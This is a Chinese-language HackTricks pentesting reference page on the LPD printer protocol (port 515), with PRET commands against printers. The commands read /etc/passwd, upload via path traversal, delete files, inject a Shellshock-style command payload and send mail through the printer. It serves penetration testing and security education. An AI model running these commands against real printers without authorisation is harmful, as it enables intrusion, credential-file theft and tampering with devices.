hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

3.8 KiB
Raw Blame History

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

LPD 协议简介

在1980年代行打印守护进程 (LPD) 协议在伯克利 Unix 中开发,后来通过 RFC1179 正式化。该协议通过 515/tcp 端口运行,允许通过 lpr 命令进行交互。通过 LPD 打印的本质涉及发送一个 控制文件(以指定作业细节和用户)以及一个 数据文件(包含打印信息)。虽然控制文件允许选择 各种文件格式 作为数据文件,但这些文件的处理由特定的 LPD 实现决定。一个广泛认可的 Unix 类系统实现是 LPRng。值得注意的是LPD 协议可以被利用来执行 恶意 PostScriptPJL 打印作业

与 LPD 打印机交互的工具

PRET 引入了两个基本工具,lpdprintlpdtest,提供了一种与 LPD 兼容打印机交互的简单方法。这些工具使得从打印数据到操纵打印机上的文件(如下载、上传或删除)的一系列操作成为可能:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

对于有兴趣进一步探索打印机黑客领域的个人,可以在这里找到全面的资源:黑客打印机

Shodan

  • port 515

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}